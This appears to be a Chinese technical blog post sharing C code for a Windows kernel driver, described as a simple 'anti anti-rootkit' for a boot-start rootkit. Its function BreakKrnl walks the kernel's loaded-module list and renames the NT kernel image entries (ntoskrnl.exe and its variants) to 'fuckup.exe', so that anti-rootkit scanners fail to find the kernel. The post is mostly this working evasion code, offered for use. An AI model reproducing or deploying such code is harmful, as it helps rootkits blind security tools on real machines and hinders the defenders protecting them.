Break Kernel主要的代码——Boot=3的rootkit专用的简单anti anti rootkit

最新推荐文章于 2024-10-30 10:16:34 发布

原创最新推荐文章于 2024-10-30 10:16:34 发布 · 694 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#table #string #list #struct #object

windows底层核心編程专栏收录该内容

743 篇文章

订阅专栏

本文介绍了一种在内核中查找并篡改特定模块路径的方法,通过遍历内核模块链表找到目标模块，然后修改其路径为恶意路径。

typedef struct _LDR_DATA_TABLE_ENTRY
{
    LIST_ENTRY    LoadOrder;
    LIST_ENTRY    MemoryOrder;
    LIST_ENTRY    InitOrder;
    PVOID          ModuleBaseAddress;
    PVOID          EntryPoint;
    ULONG          ModuleSize;
    UNICODE_STRING FullModuleName;
    UNICODE_STRING ModuleName;
    ULONG          Flags;
    USHORT        LoadCount;
    USHORT        TlsIndex;
    union {
        LIST_ENTRY Hash;
        struct {
            PVOID SectionPointer;
            ULONG CheckSum;
        };
    };
    ULONG TimeStamp;
} LDR_DATA_TABLE_ENTRY,
*PLDR_DATA_TABLE_ENTRY;
void BreakKrnl(PDRIVER_OBJECT pDrvObject)
{
PLDR_DATA_TABLE_ENTRY pModuleEntry = (PLDR_DATA_TABLE_ENTRY)pDrvObject->DriverSection;
    PLDR_DATA_TABLE_ENTRY pEntry = (PLDR_DATA_TABLE_ENTRY)pModuleEntry->LoadOrder.Flink;
    UNICODE_STRING fuckkrnl;
RtlInitUnicodeString(&fuckkrnl, L"fuckup.exe");

    while (pModuleEntry != pEntry)
    {
        if (pEntry->ModuleName.Buffer)
        {
            if (!wcscmp(pEntry->ModuleName.Buffer, L"ntkrnlmp.exe")||!wcscmp(pEntry->ModuleName.Buffer, L"ntkrpamp.exe")||!wcscmp(pEntry->ModuleName.Buffer, L"ntoskrnl.exe")||!wcscmp(pEntry->ModuleName.Buffer, L"ntkrnlpa.exe"))
            {

                memcpy(&pEntry->FullModuleName, &fuckkrnl, sizeof(UNICODE_STRING));
                memcpy(&pEntry->ModuleName,&fuckkrnl,sizeof(UNICODE_STRING));
                break;
            }
        }
        pEntry = (PLDR_DATA_TABLE_ENTRY)pEntry->LoadOrder.Flink;
    }
}